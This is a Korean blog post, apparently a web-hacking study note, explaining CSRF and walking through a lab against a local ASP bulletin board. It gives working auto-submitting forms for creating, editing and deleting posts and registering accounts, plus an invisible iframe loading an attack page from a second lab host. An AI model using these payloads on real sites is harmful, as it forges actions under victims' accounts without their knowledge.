CSRF(크로스 사이트 요청 변조)
by #독개#크로스 사이트 요청 변조
개념 |
- 악성 스크립트를 이용하여 정상적인 사용자로 하여금 조작된 요청을 서버에 전송하며 서버는 요청에 대한 응답을 보내줌 - 모든 공격은 피해자의 권한으로 수행됨 |
특징 |
- OWASP TOP 10 - WEB 2010, 2013 각 5위, 8위 - 웹 동작의 사전 조사가 어느정도 필요함(Request/Response) - XSS 공격과 흡사한 공격 형태를 보이며 XSS가 가능하다면 80~90% CSRF 또한 가능함 [취약점이 발생하는 근본원인(html 스크립트를 이용할수 있음)이 동일함] - 피해자 계정의 권한 등급에 따라 피해 정도가 달라짐 - 피해자에 의해 Request가 발생하기 때문에 실제 공격자의 IP 추적이 어려움 ex) 내게시글을 A가보면 A가 공격을하고, 관리자가 읽으면 관리자가 공격을 함 ex) 내글을 읽으면 자기 비밀번호를 1234로 바꿔버리게함 |
영향 |
- 피해자의 권한 안에서 모든 기능 가능 - 개인정보 수정 및 회원 등급 수정 - 강제 구매 / 판매 - 글 작성 및 댓글 작성 |
원인 |
- 정상적인 요청과 비정상적인 요청에 대한 정당성 여부를 서버가 구분하지 못하는 경우 - XSS 취약점의 원인 또한 CSRF취약점의 원인 |
Point |
- XSS와의 차이점 (둘다 구동은 클라에서 하지만, 공격목표가 다르다) XSS : 공격자는 희생자의 브라우저에 스크립트를 실행하는 것으로 이용자가 목표 CSRF : 피해자의 권한 범위에서 데이터를 변조하거나 특정 액션을 발생시키는 것으로 대부분 웹 서버가 목표 |
실습# 게시물등록
소스를 보고 Form태그를 확인해보면 요청Form을 파악해서 똑같이 만들수있다.
<form id="form1" name="form1" method="post" action="board_write_reg.asp" enctype="multipart/form-data">
<table width="600" border="0">
<tbody><tr>
<td width="150" bgcolor="#80e12a"><div align="center">작성자</div></td>
<td width="450"> 이상진</td>
</tr>
<tr>
<td width="150" bgcolor="#80e12a"><div align="center">제목</div></td>
<td width="450"><label>
<input type="text" name="title" id="title"></label>
</td>
</tr>
<tr>
<td height="189" bgcolor="#80e12a"><div align="center">내용</div></td>
<td><label>
<textarea name="content" id="content" cols="60" rows="10"></textarea>
</label></td>
</tr>
<tr>
<td width="150" bgcolor="#80e12a"><div align="center">파일첨부</div></td>
<td width="450"><input type="FILE" name="UPFILE" value="검색"></td>
</tr><tr>
<td height="59" colspan="2"><label>
<div align="center">
<input type="submit" name="button" id="button" value="쓰기">
<input type="reset" name="button2" id="button2" value="취소">
</div>
</label></td>
</tr>
</tbody></table>
</form>
enctype="multipart/form-data : 파일업로드가 있는 게시물이므로 해줘야함
쓸데없는거 다날리고 <form>, <input> 태그만 싹 간추리면
<form method="post" action="board_write_reg.asp" enctype="multipart/form-data">
<input type="text" name="title" id="title" value="해킹된글(글제목)">
<textarea name="content" id="content" cols="60" rows="10">글내용~~</textarea>
<input type="submit" name="button" id="button" value="쓰기">
<input type="reset" name="button2" id="button2" value="취소">
</form>
근데 저렇게 게시판에 등록해두면 쓰기버튼을 눌러야만 <form>태그가 날아가잖아 그래서 스크립트를 하나더써준다.
보기만 해도 바로 실행되게
<body onload="document.csrf.submit();">
<form name="csrf" method="post" action="board_write_reg.asp" enctype="multipart/form-data">
<input type="text" name="title" id="title" value="해킹된글(글생성)">
<textarea name="content" id="content" cols="60" rows="10">글내용이양~~</textarea>
<input type="submit" name="button" id="button" value="쓰기">
<input type="reset" name="button2" id="button2" value="취소">
</form>
이렇게 글을 생성해두자
관리자가 이제 이글을 읽엇다 치자!
관리자권한으로 글이써짐..
근데 여기서문제가 자동글완성(보면글생성)을 딱 클릭하는순간
이런 화면이 한번뜨면서 자동으로 넘어간단 말이지
으흠.. 이러면 이걸 숨겨야겠지 그럴려면 <input type=hidden 으로 다 바꿔주자
<body onload="document.csrf.submit();">
<form name="csrf" method="post" action="board_write_reg.asp" enctype="multipart/form-data">
<input type="hidden" name="title" id="title" value="해킹된글(글생성)">
<textarea name="content" id="content" cols="60" rows="10">글내용이양~~</textarea>
<input type="hidden" name="button" id="button" value="쓰기">
<input type="hidden" name="button2" id="button2" value="취소">
</form>
여기서 최종적으로 더 완벽하게 안보이게 하려면 <iframe>을 활용해서 내가원하는 코드를 주입하는거다
예를들어 해커 서버에 hack.html에 바로위에 코드를 적어두고
게시판에 이렇게 적어주면 게시판을 오픈했을때
<iframe src="http://192.168.1.5/hack.html" style="visibility:hidden;display:none"></iframe>
정상적인 글입니다. 안녕하세요
이렇게 보이고 다른 iframe에서 요청이 실행된다.
이런식으로 회원가입, 글삭제, 글수정 등등 서버로 Request하는건 다가능하다.
실습예시)
input(태그를 전부다 hidden으로 해두면 안보인다.)
iframe을 이용하면 완전히 숨길수있다.)
<iframe src="http://192.168.1.5/hack.html" style="visibility:hidden;display:none"></iframe> (아이프레임완전숨기는 태그법)
글수정
<body onload="document.csrf.submit();">
<form name="csrf" action="board_update_reg.asp" method="POST">
<input type="text" name="user" value="해킹됨">
<input type="text" name="title" value="해킹성공글">
<input type="hidden" name="idx" value="7">
<textarea name="contents" rows="10" cols="60">수정됬지롱~~~</textarea>
<input type="submit" value="변경">
<input type="reset" value="취소">
</form>
글생성 (글생성시에 파일업로드기능이 잇기때문에 multipart/form-data를 꼭 기재해줘야한다)
<body onload="document.csrf.submit();">
<form name="csrf" method="post" action="board_write_reg.asp" enctype="multipart/form-data">
<input type="text" name="title" id="title" value="해킹된글(글생성)">
<textarea name="content" id="content" cols="60" rows="10">글내용이양~~</textarea>
<input type="submit" name="button" id="button" value="쓰기">
<input type="reset" name="button2" id="button2" value="취소">
</form>
글삭제
(버프수트로 본 소스)
GET /board/board_delete.asp?num=17 HTTP/1.1
Host: 192.168.1.12
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.12/board/board_view.asp?num=17
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: ASPSESSIONIDGQGGQLPU=LAOJBGDDOFELJPBPLKOFKJAM
Connection: close
(적어준코드)
<body onload="document.csrf.submit();">
<form name="csrf" method="post" action="board_delete.asp">
<input tyep="hidden" name="num" value="17">
</form>
회원가입
(버프수트로 본 소스)
POST /board/memberAct.asp HTTP/1.1
Host: 192.168.1.12
Content-Length: 223
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.12
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.12/board/mem_reg_form.asp
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: ASPSESSIONIDGQGGQLPU=LAOJBGDDOFELJPBPLKOFKJAM
Connection: close
name=%BC%BA%B8%ED%C4%AD&memberid=%BE%C6%C0%CC%B5%F0%C4%AD&pass1=votmdnjem&pass2=votmdnjem&
post1=112&post2=112&addr1=%C1%D6%BC%D2%B4%D9&addr2=%BB%F3%BC%BC%C1%D6%BC%D2%B4%D9&tel1=010&tel2=8283&tel3=1471&mail=wjioef%40nate.com
(적어준코드)
<body onload="document.csrf.submit();">
<form name="csrf" method="post" action="memberAct.asp">
<input tyep="hidden" name="name" value="이상진">
<input tyep="hidden" name="memberid" value="nanagame2">
<input tyep="hidden" name="pass1" value="tkdwls">
<input tyep="hidden" name="pass2" value="tkdwls">
<input tyep="hidden" name="post1" value="112">
<input tyep="hidden" name="post2" value="112">
<input tyep="hidden" name="addr1" value="울산">
<input tyep="hidden" name="addr2" value="남구">
<input tyep="hidden" name="tel1" value="010">
<input tyep="hidden" name="tel2" value="444">
<input tyep="hidden" name="tel3" value="8888">
<input tyep="hidden" name="mail" value="abcd@nate.com">
</form>
글생성(iframe으로 완전안보이게)
<iframe src="http://192.168.1.5/hack.html" style="visibility:hidden;display:none"></iframe>
hack.html에는
<body onload="document.csrf.submit();">
<form name="csrf" method="post" action="http://192.168.1.12/board/board_write_reg.asp" enctype="multipart/form-data">
<input type="hidden" name="title" id="title" value="해킹된글(글생성)iframe적용">
<textarea name="hidden" id="content" cols="60" rows="10">글내용이양~~</textarea>
<input type="hidden" name="button" id="button" value="쓰기">
<input type="hidden" name="button2" id="button2" value="취소">
</form>
'🧛♂️ 해킹 > 웹해킹' 카테고리의 다른 글
민감한 데이터 노출 (0) | 2020.07.31 |
---|---|
알려진 취약점사용 (CVE , Exploit-db) (0) | 2020.07.31 |
SQL Map (상용툴) (0) | 2020.07.30 |
취약한 직접 객체 참조 (파일업로드,리버스텔넷) (0) | 2020.07.29 |
취약한 직접 객체 참조 (매개변수변조, 파일다운로드) (0) | 2020.07.29 |
블로그의 정보
독한 개발자
#독개#